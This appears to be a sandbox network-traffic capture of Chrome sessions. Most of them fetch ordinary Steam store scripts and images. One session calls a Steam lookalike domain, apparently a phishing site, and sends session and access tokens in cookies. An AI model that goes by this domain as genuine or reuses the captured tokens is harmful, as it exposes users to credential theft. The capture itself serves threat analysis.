2024-10-06 12:08:24 UTC	2220	IN	Data Raw: 74 10 80 6b 05 81 56 e9 2a a0 74 2f 46 be 3d 93 49 e7 b0 7f d4 57 67 3b 7e 58 1d 52 ed c6 d3 20 86 f0 b9 8c 10 aa c8 62 65 fe 18 00 18 59 94 01 d3 7f 1a c6 2b 1f a1 35 bc ea bb f3 9e f1 20 c4 53 45 76 56 91 72 61 38 1a 6a 58 9d ca f4 20 fe 54 95 96 52 91 d0 28 3a c0 0b 32 94 81 b5 30 5e 25 06 a5 4b 1a 19 f7 aa f4 68 00 9b ca f6 fa 61 7a c4 9e aa 67 90 f5 83 7a 82 9e f9 a9 ac ba 50 18 4e 9b 0b 40 16 b0 77 8d 62 8f 09 e0 07 57 d7 0f c3 1a 35 6c de ba e9 3a 68 9d 43 8f 8a 08 52 84 e6 bb 18 c8 2e 7e 67 26 8d 62 25 f1 70 15 f7 7d c9 f6 93 4b 74 56 65 a7 14 96 b6 5a a8 57 4f 18 6f bc 8b 59 1d e2 a7 a6 7d 54 21 e6 d5 64 09 61 33 9b 59 14 14 a6 f5 f9 39 0f e2 90 1a 20 4d 4c 20 54 2a 60 ca 00 7a f6 ac 4c f9 16 69 29 64 0b 7a 95 3e 30 c0 46 1c 60 23 c8 c2 b4 d9 c9 Data Ascii: tkVt/F=IWg;~XR beY+5 SEvVra8jX TR(:20^%KhazgzPN@wbW5l:hCR.~g&b%p}KtVeZWOoY}T!da3Y9 ML T`zLi)dz>0F`#
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 88 03 98 e2 07 8b b3 2e f6 2d 43 d2 8d b2 08 e3 80 bc 03 c7 69 dc 4e 01 62 40 bb 02 cc 82 24 77 84 d7 2e 0a 09 4c 53 44 11 8e 53 90 ff ee dd 2a f2 53 9d c7 17 21 30 7f 3d 8b 37 f2 88 5d 33 36 3b 4d 3c 4b e3 21 8e 08 9e 82 a4 1a f0 a3 12 ea cc 61 c2 b8 ae 13 d8 8d a6 34 f7 e4 ce de 21 ee 3d e5 2a 2e cf 73 e7 c4 93 0e 59 b6 a6 96 c9 f1 1d e9 e0 e2 c3 2e 70 cc 0e 39 95 c3 22 ee f7 9f 8e 76 4f f4 1d 0e 4f b0 58 72 bf 6b b0 e1 a7 04 c5 27 23 1d 4f ff ed bf 8d 85 f8 4f 1e c7 70 e2 80 ee 80 4f 55 e3 54 49 41 91 a0 3a 72 e2 89 c5 23 0a 56 b4 65 09 53 e5 28 01 fc 6d 18 e8 f4 2c 77 79 4f 8a a8 38 ab 75 ae e2 b3 45 20 5f 82 ed 77 09 1e 4b 24 9b c0 e3 c4 29 87 38 1c da ca ba eb 54 d8 81 d5 66 55 3b 96 58 9d f7 a0 aa ce f7 eb 78 e3 7f 45 ab de b7 ef be 04 f9 c0 9e 3f Data Ascii: .-CiNb@$w.LSDSS!0=7]36;M<K!a4!=.sY.p9"vOOXrk'#OOpOUTIA:r#VeS(m,wyO8uE _wK$)8TfU;XxE?
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 7c 90 13 1c 51 41 cc 25 7c 9f 10 11 4f 59 a1 5d 7e 77 ab a0 3a 3e fc ce 81 ac 2e db 58 30 21 b0 91 29 71 6e bd 87 97 d9 9c 4e bc c6 cd f4 31 5b 21 65 37 78 fe d9 22 d5 8b f3 80 61 ea c9 cb 54 42 46 38 b0 21 88 83 5d b0 c2 08 95 03 f7 0c 19 e0 bd 27 49 bb 08 98 aa 6d 74 16 c4 14 1b 65 01 b4 97 3c 9b a3 3d 47 46 86 a8 1a 30 2f 7a 57 89 b9 bb 7e 28 f0 98 98 71 c0 0b 5d a6 a4 78 06 b0 f4 6b c6 3d b5 d8 03 bc 7b 61 88 04 3a 59 90 c1 3c 5f 57 c5 41 b1 7e 93 05 d6 99 4c 9c 4e 2c 67 eb 7f 53 5d 1b 01 3c 02 9d ed e5 27 24 02 0c 61 9c da ef d9 75 2c 03 4a 93 fe 48 52 75 1f c8 e3 6c 00 77 ee 61 7f e7 46 39 60 c8 54 b5 47 52 85 53 ed 59 45 9e e1 88 69 4e fc ae 21 61 92 45 23 3b 57 36 72 87 dc 28 89 35 94 24 88 72 14 59 a1 a8 91 da 6e 93 26 53 d3 9d 98 e6 ac 53 0b f2 Data Ascii: \|QA%\|OY]~w:>.X0!)qnN1[!e7x"aTBF8!]'Imte<=GF0/zW~(q]xk={a:Y<_WA~LN,gS]<'$au,JHRulwaF9`TGRSYEiN!aE#;W6r(5$rYn&SS
2024-10-06 12:08:24 UTC	7952	IN	Data Raw: 77 0a 5b 09 39 a9 08 b9 69 f2 e6 81 7c 54 e8 cc d1 9c c5 a8 1b 39 aa 2a f9 ac 78 55 75 69 a9 ae 99 6a 7c f4 9e 83 3a 61 54 d5 29 b8 a0 bb 29 36 b4 fe 84 22 e0 95 90 38 3b d3 17 c1 38 d5 73 49 04 27 95 ce 53 85 21 96 89 f3 4e 47 a2 22 12 00 5e cc 03 f8 a8 4d aa 8b f3 5d 30 55 9d 72 2a c7 53 36 97 ae 98 d3 c1 99 20 a4 87 fa 3d 47 48 a2 49 d4 26 71 e9 97 df ff fa e5 15 e8 36 64 7c e6 cf 27 94 38 1d cb 94 88 3d ba eb 1b e1 ef aa d1 92 dd 7c 90 e9 66 4f ac 68 06 32 a1 9b 74 bd d5 75 4d c3 a0 3a 5b 38 75 08 0f 93 d8 aa 19 cb 05 2e 96 e8 9c 09 16 7c 85 98 01 f8 01 5d 01 62 0e 13 ec 5e 97 d9 db dd f5 64 7b e3 22 e4 d4 65 00 31 02 e0 be 8b cf 5b c7 e1 fd 75 fc fc 84 ae f6 9d 6d 80 af 22 01 5b e0 a2 82 55 4b a1 ab de 38 2d 95 27 ce 0e ce 1a b7 02 23 13 5a 68 2b 49 Data Ascii: w[9i\|T9xUuij\|:aT))6"8;8sI'S!NG"^M]0UrS6 =GHI&q6d\|'8=\|fOh2tuM:[8u.\|]b^d{"e1[um"[UK8-'#Zh+I
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 25 47 68 30 2b 55 46 d0 6d 41 3e 20 60 ff 07 ea ea 3e cc 21 38 05 a9 97 be 9f cc d1 45 1d ae 08 c0 96 4a 74 19 00 62 ef 94 da 27 40 d6 31 e2 66 fe 21 c0 9c 1b 5f 49 bc ec 9f 00 8f 84 e8 3e 5b 5b d3 83 b8 ab 96 9f fc 6f a5 19 a4 1c 5a 14 49 9c 8c 04 38 7f f7 44 8c 0f e6 9d 7a 97 b8 72 60 da 09 5d 6e 02 56 ce 77 34 75 34 62 44 03 db bf ee 7e 12 a1 d1 dd 88 f7 8e f0 d8 f8 a9 09 e3 f6 f7 d3 31 1f 05 2a 9d f0 a9 d3 96 e8 8c 9e 24 c4 b5 02 04 8a ac 52 9a 45 49 65 33 b1 b0 bc e7 02 0a b4 5c e0 63 11 3b 88 17 ea 1c 9b c8 ba aa cf f3 7a bd 49 4a b9 75 9b e2 5e 15 e8 63 f7 58 11 73 77 60 5b 39 44 5d d0 3a 74 67 3c f8 2e c4 bd 04 28 bf c0 bb 78 9d 60 7e 25 a2 09 d4 63 16 d5 3d 56 67 e4 32 39 d9 24 fb 50 ed 8d 0d ee 1a c2 f6 c4 34 7b fb fb fe aa ae d6 24 a6 54 ef e1 Data Ascii: %Gh0+UFmA> `>!8EJtb'@1f!_I>[[oZI8Dzr`]nVw4u4bD~1*$REIe3\c;zIJu^cXsw`[9D]:tg<.(x`~%c=Vg29$P4{$T
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 55 e7 cc 6e ee 3d 06 5c a6 21 0a 81 5a 63 e3 9d 18 97 ce c8 a6 49 61 4a ee 76 c1 d5 39 b6 32 cd 7d b0 24 33 01 a0 4f 47 2a 12 f7 0c 20 eb 2e 49 5a 93 3b d7 e5 e6 f4 93 91 82 e4 c0 fe 54 95 5d 25 c9 a9 15 72 2a 3a d8 05 82 e9 f7 74 73 82 df 45 2e 0c 71 36 23 f8 7b f7 33 6e 96 1e 26 81 ec dc 7b 6a c7 98 68 1e 74 41 fb 7e 63 df 24 fb 28 fd bc 11 c6 9c 1d 7e 67 3a a2 e7 48 99 27 96 f5 08 62 50 65 e3 e7 08 02 76 7e 56 cf e1 04 4f 6e 0c 24 21 8e 93 31 2d b5 c7 ce 4e e0 0e f9 bf a0 45 15 81 5c 54 d7 bd 6b 55 05 7e 82 5b fc b2 ce 06 26 de 9f 8c c3 01 bc f2 be 0f 90 7c 02 c4 ca 7d 83 91 21 83 e4 c3 5b ac 2b 8b a9 95 06 85 23 b4 9c b0 6c 95 8f 4d 41 be 57 dd 31 8c f0 3c 89 a8 a4 e3 33 71 99 61 16 ac 2c 17 1a c8 f4 1c d2 f3 30 21 db c5 f5 fc 8f 39 c6 fe 45 13 02 cd Data Ascii: Un=\!ZcIaJv92}$3OG* .IZ;T]%r*:tsE.q6#{3n&{jhtA~c$(~g:H'bPev~VOn$!1-NE\TkU~[&\|}![+#lMAW1<3qa,0!9E
2024-10-06 12:08:24 UTC	7952	IN	Data Raw: 40 de 4c df 28 50 5e f9 89 01 9d 02 a8 30 87 2b aa 9f f9 37 41 7c e5 11 54 2b 5c 13 c5 1e ab 80 2a 04 ee ca 4e f5 19 a0 ad 8a 01 b0 43 42 96 06 7f 04 ed 9d 10 0d 99 96 86 1a d3 47 32 c4 c1 6c ac 3d 59 e4 82 33 e6 15 26 d9 05 e6 6b c5 bb ae 7c 0e 16 55 8e 7f 71 ca 48 42 a9 28 67 e7 be 2a 45 44 e2 89 6e 80 81 4a 1c f2 6e 06 57 85 b0 b0 b6 86 e1 80 57 25 0c 2b 07 52 d5 b6 65 20 6e 14 5f ec 26 41 72 1c 34 5b 01 80 81 5c dc 52 01 e7 1d 3c 92 42 f5 db 36 00 e0 00 2f 19 34 5e 73 83 56 f3 ad 36 9d 2c b5 a4 27 cc 6b 24 a4 46 4b de 81 22 02 54 89 49 f6 b9 1d b9 d6 c5 a8 1d 02 31 76 94 f8 a4 aa 00 11 82 1c 53 64 06 7b 6f 01 af 52 02 4e cc 7f 46 24 74 e8 72 3e 30 36 91 99 36 cc 54 7d b8 53 e8 af 3d 69 ad fc 48 a2 24 1b 23 01 2f 45 ee bb 03 06 18 eb b0 53 1e 6e d9 b2 Data Ascii: @L(P^0+7A\|T+\NCBG2l=Y3&k\|UqHB(gEDnJnWW%+Re n_&Ar4[\R<B6/4^sV6,'k$FK"TI1vSd{oRNF$tr>066T}S=iH$#/ESn
2024-10-06 12:08:24 UTC	16288	IN	Data Raw: 27 aa 3a ee c0 7d 42 50 cb 96 2d fb 1a e0 7b 76 7e ff d4 68 89 cf 4e 31 74 09 91 80 af 65 70 66 9d 76 aa a4 41 e0 81 ca e7 62 d1 bd ea ef aa ca 44 33 f7 39 47 0b 22 f3 f9 d9 21 66 47 9e 3e 3f 96 11 ad fc bd 6e 80 eb 1d fc 00 20 04 a1 00 e8 14 6e 14 df 53 7a 0d 8a e0 98 c1 09 3d c1 ed 48 70 ee 78 68 dd 08 c6 61 f8 b0 8a ce fe ef 7b 2f 8f 44 51 b8 0b c5 4c 3d db 66 80 8c 59 46 cd 59 dc 9b c9 20 b2 72 9b 00 d7 88 60 e2 94 2a f5 62 8c 42 08 e4 15 1c d8 f5 43 b4 9b f5 e7 a8 fb 10 09 d0 ee a4 bf 8e 03 68 24 2f d8 00 cf c4 10 fb 81 a4 d8 8a fb 28 12 06 e0 39 56 1d 3c d2 83 6d ee 1d ef 6b 0f 8f 8b 59 47 5d 06 73 ec 67 25 48 b3 0b d0 d2 0d f6 33 c4 78 02 b9 96 9b a3 a8 c0 d4 ac d3 70 05 50 5f 39 71 70 ae fd 4c a7 ae e1 1c 69 b4 ec 6b 03 08 b7 b6 7b e6 30 54 c2 ca Data Ascii: ':}BP-{v~hN1tepfvAbD39G"!fG>?n nSz=Hpxha{/DQL=fYFY r`*bBCh$/(9V<mkYG]sg%H3xpP_9qpLik{0T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49764	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	394	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	347	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14422216 Expires: Sat, 22 Mar 2025 10:18:40 GMT Date: Sun, 06 Oct 2024 12:08:24 GMT Content-Length: 2917 Connection: close
2024-10-06 12:08:24 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49770	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	1419	OUT	GET /a6ee8b8370c1415cb6ec9598e252c16b8f95105a30c1/c3836b18f15271feb179564b07a0a7149d6af2227872.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g; timezoneOffset=-14400,0
2024-10-06 12:08:24 UTC	1048	IN	HTTP/1.1 404 Not Found Date: Sun, 06 Oct 2024 12:08:24 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GXm3Z2u9OX48XvtdVcGZUJ8V4uxwbrgSOmzzO3JKWSuZZirJzCyp3u%2BuHxmegxxhRSenosDiXgxKCQc0osM20UAj%2Fglzmdf4bWx2uBjiI4WXDdzYgDcUDu7jixG2ZcuSKfKi%2Fu5o7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce5896188237cb1-EWR
2024-10-06 12:08:24 UTC	71	IN	Data Raw: 34 31 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 7d 0d 0a Data Ascii: 41{"message":"Page not found","error":"Not Found","statusCode":404}
2024-10-06 12:08:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49765	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	430	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=12964371 Expires: Wed, 05 Mar 2025 13:21:15 GMT Date: Sun, 06 Oct 2024 12:08:24 GMT Content-Length: 24657 Connection: close
2024-10-06 12:08:24 UTC	16037	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-06 12:08:25 UTC	8620	IN	Data Raw: b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49767	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	684	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
2024-10-06 12:08:24 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49769	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	605	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
2024-10-06 12:08:24 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49768	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	609	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
